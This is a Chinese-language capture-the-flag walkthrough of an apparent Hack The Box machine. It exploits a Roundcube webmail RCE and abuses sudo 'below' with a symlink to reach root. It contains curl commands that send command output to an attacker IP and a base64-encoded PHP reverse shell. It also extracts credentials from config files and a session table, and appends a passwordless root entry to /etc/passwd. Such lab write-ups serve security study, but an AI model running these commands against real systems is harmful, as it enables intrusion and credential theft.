Rustscan掃描
我們開局便擁有賬號 tyler / LhKL1o9Nm3X2,我們使用rustscan進行掃描
rustscan -a 10.10.11.77 --range 1-65535 --scan-order "Random" -- -A
Web服務漏洞探查
我們以賬號tyler / LhKL1o9Nm3X2登錄webmail,并快速確認版本信息。
該版本存在RCE漏洞
我們找到相應的CVE漏洞POC
反連shell建立
user權限獲取,我們先探測擁有哪些shell
#探測命令執行情況
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.6:80/$(id | base64 -w0)'uid=33(www-data) gid=33(www-data) groups=33(www-data)#探測nc python 等軟件是否存在
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'curl http://10.10.16.4:80/$(which python nc bash sh ncao curl rustcat openssl perl php ruby socat ndoe java telnet zsh lua golang vlang awk nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null| base64 -w0)'/usr/bin/bash
/usr/bin/sh
/usr/bin/curl
/usr/bin/openssl
/usr/bin/perl
/usr/bin/php
/usr/bin/socat
/usr/bin/awk
/usr/bin/wget
/usr/bin/curl
/usr/bin/base64
/usr/bin/socat
/usr/bin/perl
/usr/bin/php#使用bash開啟反向shell
php CVE-2025-49113.php 'http://mail.outbound.htb/' tyler LhKL1o9Nm3X2 'echo L3Vzci9iaW4vcGhwIC1yICckc29jaz1mc29ja29wZW4oIjEwLjEwLjE2LjQiLDkwMDEpO2V4ZWMoIi9iaW4vYmFzaCA8JjMgPiYzIDI+JjMiKTsn | base64 -d | bash'
Cat查詢存在用戶 & ss查詢端口開放情況
我們快速信息搜集,發現了用戶、端口等信息
cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
tyler:x:1000:1000::/home/tyler:/bin/bash
jacob:x:1001:1001::/home/jacob:/bin/bash
mel:x:1002:1002::/home/mel:/bin/bashss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
tcp LISTEN 0 100 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:993 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:995 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:143 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 100 0.0.0.0:110 0.0.0.0:*
tcp LISTEN 0 100 [::]:993 [::]:*
tcp LISTEN 0 100 [::]:995 [::]:*
tcp LISTEN 0 100 [::1]:25 [::]:*
tcp LISTEN 0 100 [::]:143 [::]:*
tcp LISTEN 0 100 [::]:110 [::]:*
爬取數據庫
我們發現了web服務的config文件/var/www/html/roundcube/config/config.inc.php
$config['db_dsnw'] = 'mysql://roundcube:RCDBPass2025@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';
我們嘗試訪問3306端口,進入數據庫
mysql -u roundcube -pRCDBPass2025 -e "SHOW DATABASES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SHOW TABLES;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM users ;"
mysql -u roundcube -pRCDBPass2025 -e "USE roundcube;SELECT * FROM session ;"
經過網上的查詢,我們了解到roundcube的users表并不包含密碼。所以我們轉戰session,我們解密session的var字段,獲取jacob用戶的密碼hash
L7Rv00A8TuwJAr67kITxxcSgnIk25Am
有趣的是我們還發現了/var/www/html/roundcube/bin/decrypt.sh工具
./decrypt.sh 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/'
595mO8DmwGeD
密碼正確,切換成功
翻找郵箱文件獲取賬戶密碼
我們登錄郵箱,發現郵件一個說jacob改了密碼,一個說jacob擁有below訪問權限。
gY4Wr3a1evp4
【TIP?】有趣的是我們密碼被修改了,可為什么su卻可以正常運行?是因為我們通過RCE進入的是一個虛擬機。
sudo二進制文件提權
接下來我們發現sudo -l 里面有一個命令below,并發現該命令的dump功能一旦出錯,就會寫入到/var/log/below/error_root.log 文件中。
-rw-rw-rw- 1 root root 0 Jul 14 06:48 error_root.log
那么結合軟連接跳轉,我們可以創建新的文件,并且權限情況。
ln -sf /var/log/below/test /var/log/below/error_root.log
#出發錯誤從而寫入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#創建的新文件
-rw-rw-rw- 1 root root 588 Jul 14 06:52 test
我們現在有創建新文件的能力,那么我們驗證以下是否擁有修改文件權限的能力。
rm test
touch test#獲得的文件權限
-rw-rw-r-- 1 jacob jacob 0 Jul 14 06:55 test#執行攻擊
ln -sf /var/log/below/test /var/log/below/error_root.log
#出發錯誤從而寫入error_root.log文件
sudo below dump --snapshot /root/ disk --begin now#修改后的文件權限
-rw-rw-rw- 1 jacob jacob 226 Jul 14 06:56 test
可以看到文件的所有者沒有改變,但權限情況變了,所有人都可寫了,這可能非常危險。這就確定了我們可以修改/etc/passwd文件,也可以修改/root/.ssh/id_ed25519來完成提權。下面是兩種做法
# ==== /etc/passwd 版本 ====
ln -sf /etc/passwd /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
ls -al /etc/passwd
echo 'ydx::0:0:ydx:/root:/bin/bash' >> /etc/passwd
su ydx
# ==== /root/.ssh/id_ed25519 版本 ====
ln -sf /root/.ssh/id_ed25519 /var/log/below/error_root.log
sudo below dump --snapshot /root/ disk --begin now
cat /root/.ssh/id_ed25519
沒能成功,暫時不了解為何,可能是/root/.ssh/文件夾的權限存在控制情況。后續進入root賬戶后,發現確實為該問題。
所以我們嘗試是否能夠用同樣的辦法修改文件夾權限,目錄沒法做到相同的事情,所以該方法無法使用。
ln -sf /root /var/log/below/error_root.log
sudo below dump --snapshot /root disk --begin now